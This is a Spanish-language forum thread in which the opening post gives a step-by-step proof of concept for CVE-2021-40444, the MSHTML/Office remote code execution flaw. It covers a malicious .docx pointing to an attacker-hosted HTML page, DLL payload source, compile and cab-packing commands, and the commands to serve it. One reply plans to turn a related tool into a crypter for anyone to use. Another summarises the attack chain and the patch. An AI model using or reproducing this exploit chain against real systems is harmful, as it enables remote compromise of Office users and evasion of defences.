PoC CVE-2021-40444 MSHTML y MS Office RCE

Iniciado por BloodSharp, 13 Septiembre 2021, 15:55 PM

0 Miembros y 1 Visitante están viendo este tema.

BloodSharp

Solo válido para motivos educativos

Fuente: https://github.com/lockedbyte/CVE-2021-40444

Generando el documento .docx:

Ir a maldoc/word/_rels/document.xml.rels y editar los textos http://<HOST> con el URL del archivo exploit.html

Luego se genera el documento .docx
Código (bash) [Seleccionar]
cd maldoc/ ; zip -r maldoc.docx *

Generar el archivo dll

#include <windows.h>

void exec(void) {
system("C:\\Windows\\System32\\calc.exe");
return;
}

BOOL WINAPI DllMain(
   HINSTANCE hinstDLL,
   DWORD fdwReason,
   LPVOID lpReserved )
{
   switch( fdwReason )
   {
       case DLL_PROCESS_ATTACH:
          exec();
          break;

       case DLL_THREAD_ATTACH:
           break;

       case DLL_THREAD_DETACH:
           break;

       case DLL_PROCESS_DETACH:
           break;
   }
   return TRUE;
}


Compilar:
Código (bash) [Seleccionar]
i686-w64-mingw32-gcc -shared calc.c -o calc.dll

Instalar la dependencia lcab
Código (bash) [Seleccionar]
sudo apt-get install lcab

Código (bash) [Seleccionar]
cp calc.dll championship.inf ; mkdir gen/ ; cd gen/ ; lcab '../championship.inf' out.cab

Copiar el archivo out.cab en el directorio www/, modificar exploit.html para apuntar a http://localhost/out.cab

Ejecutar el script: patch_cab.py

Finalmente crear el servidor:

Código (bash) [Seleccionar]
cd www/ ; sudo python3 -m http.server 80

Parte final

Ejecutar maldoc.docx en una Máquina virtual.



B#



**Aincrad**

Genial!!, acá hay una utilidad en c# : https://github.com/mansk1es/Caboom veré si puedo mejorarlo en un crypter. para que cualquiera pueda usarlo .




el-brujo

muy interesante, lo he visto hoy publicado en HackPlayers (Vicente Motos)

Microsoft publica el parche para el 0-day de MSHTML (CVE-2021-40444)
https://www.hackplayers.com/2021/09/parche-para-cve-2021-40444-mshtml.html



    Básicamente el documento contiene un objeto MHTML OLE que es un sitio web alojado en un endpoint controlado por un atacante.
    El sitio web ejecuta código javascript ofuscado que crea una instancia de los controles ActiveX: ActiveXObjectVAR['Script']['location'] = '.cpl:../../../AppData/Local/Temp/Low/championship.inf',
    El código del sitio web obtiene y abre un archivo .cab desde el endpoint controlado por el atacante: XMLHttpRopen['call'](XMLHttpR, 'GET', 'http://127.0.0.1/test.cab';, ![]). Este archivo contiene una DLL maliciosa con extensión .inf.
    El código del sitio web ejecuta el archivo.inf como un archivo del Panel de control (.cpl) utilizando la utilidad control.exe. Por ejemplo, el código del sitio web puede ejecutar el siguiente comando: control.exe .cpl: ../../../AppData/Local/Temp/championship.inf.
    La utilidad control.exe se ejecuta como un proceso secundario del proceso que aloja la aplicación de Microsoft Office que abrió el documento de Office, como winword.exe.
    El archivo DLL malicioso .inf se ejecuta en el contexto de rundll32.exe.

Ayer ya publicaron el parche oficial de Microsoft

Actualizaciones de seguridad importantes de Microsoft CVE-2021-40444
https://blog.elhacker.net/2021/09/actualizaciones-de-seguridad-productos-microsoft--chrome-adobe.html

El parche:

las barras (/) se formatearán en barras invertidas (\) contra el recorrido de la ruta; Además, el exploit de IE no puede controlar el campo "ubicación" para ejecutar código con control.exe.



Fuente:
https://twitter.com/aaaddress1/status/1438023534320619524